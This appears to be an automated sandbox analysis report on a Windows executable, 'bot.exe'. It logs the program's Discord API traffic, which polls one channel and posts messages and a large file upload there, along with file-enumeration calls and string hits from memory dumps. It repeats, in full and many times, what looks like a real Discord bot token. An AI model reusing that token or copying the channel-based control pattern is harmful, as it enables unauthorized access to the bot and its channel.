python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI GET /api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI GET /api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI GET /api/v10/channels/1567592947002908814/messages?after=1568272429388800071&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI GET /api/v10/channels/1567592947002908814/messages?after=1568272445683540179&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI 5f:T1b7c,Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/users/@me HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814/messages?limit=1 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 515Content-Type: application/x-www-form-urlencoded" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 965Content-Type: multipart/form-data; boundary=b5124d5b35bc1b92aa9d0a3a2342cbe8" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 248537Content-Type: multipart/form-data; boundary=f2f909fb2122e4e1dee2db9818bf171b" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272429388800071&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272445683540179&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272482702590067&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base62 string in header "6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2q" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 24Content-Type: application/x-www-form-urlencoded"60:T562,Found HTTPS GET request to https://discord.com/api/v10/users/@me Found HTTPS GET request to https://discord.com/api/v10/channels/1567592947002908814 Found HTTPS GET request to https://discord.com/api/v10/channels/1567592947002908814/messages?limit=1 Found HTTPS POST request to https://discord.com/api/v10/channels/1567592947002908814/messages Found HTTPS GET request to https://discord.com/api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25 Found HTTPS GET request to https://discord.com/api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 Found HTTPS GET request to https://discord.com/api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25 Found HTTPS GET request to https://discord.com/api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25 Found HTTPS GET request to https://discord.com/api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25 Found HTTPS GET request to https://discord.com/api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25 Found HTTPS GET request to https://discord.com/api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25 Found HTTPS GET request to https://discord.com/api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=2561:Taa1,"bot.exe" called "FindFirstFileW" with parameter %TEMP%\_MEI0000052c2\* (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-console-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-datetime-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-debug-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-errorhandling-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-fibers-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-fibers-l1-1-1.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-file-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-file-l1-2-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-file-l2-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-heap-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-interlocked-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-kernel32-legacy-l1-1-1.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-libraryloader-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-localization-l1-2-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-memory-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-namedpipe-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-processenvironment-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-processthreads-l1-1-1.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-profile-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-rtlsupport-l1-1-0.dll (UID: 00000000-00001324) "bot.exe" called "FindNextFileW" with parameter api-ms-win-core-string-l1-1-0.dll (UID: 00000000-00001324)62:T2beb,file/memory contains long string with (Indicator: "aes"; File: "_philox.cp314-win_amd64.pyd") file/memory contains long string with (Indicator: ".decrypt"; File: "METADATA") file/memory contains long string with (Indicator: ".encrypt"; File: "METADATA") Found string "AESHAE" (Indicator: "aes"; Source: "00000000-00002724.00000000.171515.B47B6000.00000002.mdmp") Found string "AESCULAP" (Indicator: "aes"; Source: "00000000-00002724.00000000.171515.B47B6000.00000002.mdmp") Found string "@SECLEVEL=2:ECDH+AESGCM:ECDH+CHACHA20:ECDH+AES:DHE+AES:!aNULL:!eNULL:!aDSS:!SHA1:!AESCCM" (Indicator: "aes"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8040000.00000004.mdmp, 00000000-00002724.00000001.173435.F8040000.00000004.mdmp, 00000000-00002724.00000002.175358.F8040000.00000004.mdmp, 00000000-00002724.00000003.176644.F8040000.00000004.mdmp") Found string "@SECLEVEL=2:ECDH+AESGCM:ECDH+CHACHA20:ECDH+AES:DHE+AES:!aNULL:!eNULL:!aDSS:!SHA1:!AESCCM" (Indicator: "chacha"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8040000.00000004.mdmp, 00000000-00002724.00000001.173435.F8040000.00000004.mdmp, 00000000-00002724.00000002.175358.F8040000.00000004.mdmp, 00000000-00002724.00000003.176644.F8040000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8040000.00000004.mdmp, 00000000-00002724.00000001.173435.ABE57000.00000002.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F8040000.00000004.mdmp, 00000000-00002724.00000001.173435.F8D4E000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F8040000.00000004.mdmp, 00000000-00002724.00000002.175358.F8D4E000.00000004.mdmp, 00000000-00002724.00000003.176644.B981F000.00000002.mdmp, 00000000-00002724.00000003.176644.F75C7000.00000004.mdmp, 00000000-00002724.00000003.176644.F8040000.00000004.mdmp") Found string "BASE64_DECODE_ERROR" (Indicator: "base64"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8140000.00000004.mdmp, 00000000-00002724.00000001.173435.F8140000.00000004.mdmp, 00000000-00002724.00000002.175358.F8140000.00000004.mdmp, 00000000-00002724.00000003.176644.F8140000.00000004.mdmp") Found string "CURVE_DOES_NOT_SUPPORT_ECDSA" (Indicator: "ecdsa"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8140000.00000004.mdmp, 00000000-00002724.00000001.173435.F8140000.00000004.mdmp, 00000000-00002724.00000002.175358.F8140000.00000004.mdmp, 00000000-00002724.00000003.176644.F8140000.00000004.mdmp") Found string "AES_KEY_SETUP_FAILED" (Indicator: "aes"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8140000.00000004.mdmp, 00000000-00002724.00000001.173435.F8140000.00000004.mdmp, 00000000-00002724.00000002.175358.F8140000.00000004.mdmp, 00000000-00002724.00000003.176644.F8140000.00000004.mdmp") Found string "BAD_BASE64_DECODE" (Indicator: "base64"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8140000.00000004.mdmp, 00000000-00002724.00000001.173435.F8140000.00000004.mdmp, 00000000-00002724.00000002.175358.F8140000.00000004.mdmp, 00000000-00002724.00000003.176644.F8140000.00000004.mdmp") Found string "MISSING_ECDSA_SIGNING_CERT" (Indicator: "ecdsa"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8140000.00000004.mdmp, 00000000-00002724.00000001.173435.F8140000.00000004.mdmp, 00000000-00002724.00000002.175358.F8140000.00000004.mdmp, 00000000-00002724.00000003.176644.F8140000.00000004.mdmp") Found string "id-smime-alg-CMS3DESwrap" (Indicator: "3des"; Source: "00000000-00002724.00000000.171515.F4E90000.00000004.mdmp, 00000000-00002724.00000001.173435.ABE57000.00000002.mdmp, 00000000-00002724.00000001.173435.F4E90000.00000004.mdmp, 00000000-00002724.00000002.175358.F4E90000.00000004.mdmp, 00000000-00002724.00000003.176644.F4ECC000.00000004.mdmp") Found string "a zipfile, or to a specific path inside a zipfile. For example, it can be" (Indicator: "zipfile"; Source: "00000000-00002724.00000000.171515.F4E90000.00000004.mdmp, 00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F4E90000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F4E90000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F4F50000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp") Found string "zipfile targeted." (Indicator: "zipfile"; Source: "00000000-00002724.00000000.171515.F4E90000.00000004.mdmp, 00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F4E90000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F4E90000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F4F50000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp") Found string "base64" (Indicator: "base64"; Source: "00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000000.171515.F71F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F71F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F71F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F71F0000.00000004.mdmp") Found string "tarfile" (Indicator: "tarfile"; Source: "00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000000.171515.F71F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7440000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F71F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7440000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F71F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7440000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F71F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7440000.00000004.mdmp") Found string "C:\Users\qvzzzqx\AppData\Local\Temp\_MEI0000052c2\base_library.zip\encodings\base64_codec.pyc" (Indicator: "base64"; Source: "00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp") Found string "zipfile" (Indicator: "zipfile"; Source: "00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000000.171515.F71F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7440000.00000004.mdmp, 00000000-00002724.00000000.171515.F7840000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F71F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7440000.00000004.mdmp, 00000000-00002724.00000001.173435.F7840000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F71F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7440000.00000004.mdmp, 00000000-00002724.00000002.175358.F7840000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F71F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7440000.00000004.mdmp, 00000000-00002724.00000003.176644.F7840000.00000004.mdmp, 00000000-00002724.00000003.176644.F7CB6000.00000004.mdmp") Found string "Furthermore, some packages expect files() to return either pathlib.Path or zipfile.Path, e.g.," (Indicator: "zipfile"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7102000.00000004.mdmp, 00000000-00002724.00000003.176644.F7114000.00000004.mdmp") Found string "z = ZipFile(file, mode="r", compression=ZIP_STORED, allowZip64=True," (Indicator: "zipfile"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp") Found string "If it is a path, the file will be opened and closed by ZipFile." (Indicator: "zipfile"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp") Found string "allowZip64: if True ZipFile will create files with ZIP64 extensions" (Indicator: "zipfile"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp") Found string "Certain character sets must be encoded with quoted-printable or base64" (Indicator: "base64"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp") Found string "charset.QP (for quoted-printable), charset.BASE64 (for" (Indicator: "base64"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp") Found string "base64 encoding), or charset.SHORTEST for the shortest of" (Indicator: "base64"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp")63:T4ed,Found string "where a single '*' indicates a type variable tuple::" (Indicator: "where "; Source: "00000000-00002724.00000000.171515.F4E90000.00000004.mdmp, 00000000-00002724.00000001.173435.F4E90000.00000004.mdmp, 00000000-00002724.00000002.175358.F4E90000.00000004.mdmp, 00000000-00002724.00000003.176644.F4ECC000.00000004.mdmp") Found string "where the use of '**' creates a parameter specification::" (Indicator: "where "; Source: "00000000-00002724.00000000.171515.F4E90000.00000004.mdmp, 00000000-00002724.00000001.173435.F4E90000.00000004.mdmp, 00000000-00002724.00000002.175358.F4E90000.00000004.mdmp") Found string "Where there is no registered implementation for a specific type, its method" (Indicator: "where "; Source: "00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp") Found string "Where a nested list appears, it contains classes derived from the class" (Indicator: "where "; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp")64:T43a,Found string "dir" (Indicator: "dir"; Source: "00000000-00002724.00000000.171515.AF707000.00000002.mdmp, 00000000-00002724.00000000.171515.F8040000.00000004.mdmp, 00000000-00002724.00000000.171515.F8140000.00000004.mdmp, 00000000-00002724.00000001.173435.F8040000.00000004.mdmp, 00000000-00002724.00000001.173435.F8140000.00000004.mdmp, 00000000-00002724.00000002.175358.F8040000.00000004.mdmp, 00000000-00002724.00000002.175358.F8140000.00000004.mdmp, 00000000-00002724.00000003.176644.F8040000.00000004.mdmp, 00000000-00002724.00000003.176644.F8140000.00000004.mdmp") Found string "dir - A directory to create this temp dir in. (see mkdtemp)" (Indicator: "dir "; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7940000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7940000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7940000.00000004.mdmp, 00000000-00002724.00000003.176644.F713F000.00000004.mdmp")65:T9ab,Found string "load_cert_chain($self, /, certfile, keyfile=None, password=None)" (Indicator: "password"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found string "password" (Indicator: "password"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.C3017000.00000002.mdmp, 00000000-00002724.00000001.173435.FF640000.00000004.mdmp, 00000000-00002724.00000002.175358.FF640000.00000004.mdmp, 00000000-00002724.00000003.176644.AD61D000.00000004.mdmp, 00000000-00002724.00000003.176644.FF640000.00000004.mdmp") Found string "# TLS secrets log file, generated by OpenSSL / Python" (Indicator: "secret"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found string "password cannot be longer than %d bytes" (Indicator: "password"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found string "unable to allocate password buffer" (Indicator: "password"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found string "password callback must return a string" (Indicator: "password"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found string "password should be a string or callable" (Indicator: "password"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found string "pbkdf2_hmac($module, /, hash_name, password, salt, iterations," (Indicator: "password"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp") Found string "scrypt($module, /, password, *, salt, n, r, p, maxmem=0, dklen=64)" (Indicator: "password"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp") Found string "scrypt password-based key derivation function." (Indicator: "password"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp") Found string "password is too long." (Indicator: "password"; Source: "00000000-00002724.00000000.171515.C3017000.00000002.mdmp") Found string "secrets" (Indicator: "secret"; Source: 